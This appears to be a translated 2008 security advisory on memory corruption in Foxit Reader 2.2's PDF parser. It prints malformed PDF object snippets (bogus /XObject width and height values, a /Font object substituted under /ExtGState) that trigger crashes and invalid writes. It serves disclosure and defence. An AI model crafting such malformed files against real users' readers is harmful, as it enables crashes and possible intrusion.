首页 -> 安全研究

安全研究

安全漏洞
Foxit Reader PDF文件解析内存破坏漏洞

发布日期:2008-04-22
更新日期:2008-04-23

受影响系统:
Foxit Foxit Reader 2.2
描述:
BUGTRAQ  ID: 28890

Foxit Reader是一款小型的PDF文档查看器和打印程序。

Foxit Reader处理包含有畸形/XObject资源的网页时存在漏洞,用户在处理恶意文件时会导致Foxit Reader崩溃。

当使用Foxit Reader旋转包含有畸形/XObject资源的网页时(或向页面添加了/Rotate字段):

4 0 obj

<< /Type /Page

/Parent 3 0 R

/Rotate 170

/Contents [ 25 0 R ]

/Resources <<

/ProcSet [ /PDF /Text /ImageB /ImageC ]

/XObject <</Im23 23 0 R>>/Font << /TT3 33 0 R  >>>>

>>

endobj



23 0 obj

<</Length 11643/Filter/DCTDecode/Width -28986631481/Height 5/BitsPerComponent 8/ColorSpace/DeviceRGB/Type/#6eject/Name/&#141;#4825#6#25n#00°#6e#6en#25n#72&Acirc;&#402;&Eacute;#25n&#8482;#r3/Subtype/Image>>

stream

........................

endstream

endobj

如果修改了宽度和高度字段,Foxit就会对各种内存地址执行无效的写访问。

在解析畸形的/ExtGState资源时也存在内存破坏漏洞。在这种情况下用/Font资源替换了ExtGState资源,但资源类型仍为ExtGState:

261 0 obj

<</Type /Page /Parent 126 0 R /MediaBox [0 0 259 408 ]/CropBox [0 0 531 666 ]/Resources <</ProcSet [/PDF /Text] /ExtGState <</R7 7 0 R>>>> /Contents [20 0 R]>>

endobj



7 0 obj

<</FirstChaaa 1

/Type /Funt /FontDescriptor  23 0 R

/BaseFont /xxxxxxxxxxxxxxxxoman,Italic

/Subtype /TrueType

/Encoding /WinAnsiEncoding

/LaitChar 211

/Wodths [    ]

>>

endobj



23 0 obj

<</zzz9&eth;E /oooooo>>

endobj

一些函数解析任何资源类型的任何字段,因此当/ExtGState资源下存在/Font字段时,仍会读取并解释这些字段,导致用错误的数据填充所分配的结构。

<*来源:Javier Vicente Vallejo
  
  链接:http://www.vallejo.cc/proyectos/foxitreader1.htm
        http://www.vallejo.cc/proyectos/foxitreader2.htm
        http://secunia.com/advisories/29934/
*>

建议:
厂商补丁:

Foxit
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.foxitsoftware.com/pdf/rd_intro.php

浏览次数:4175
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障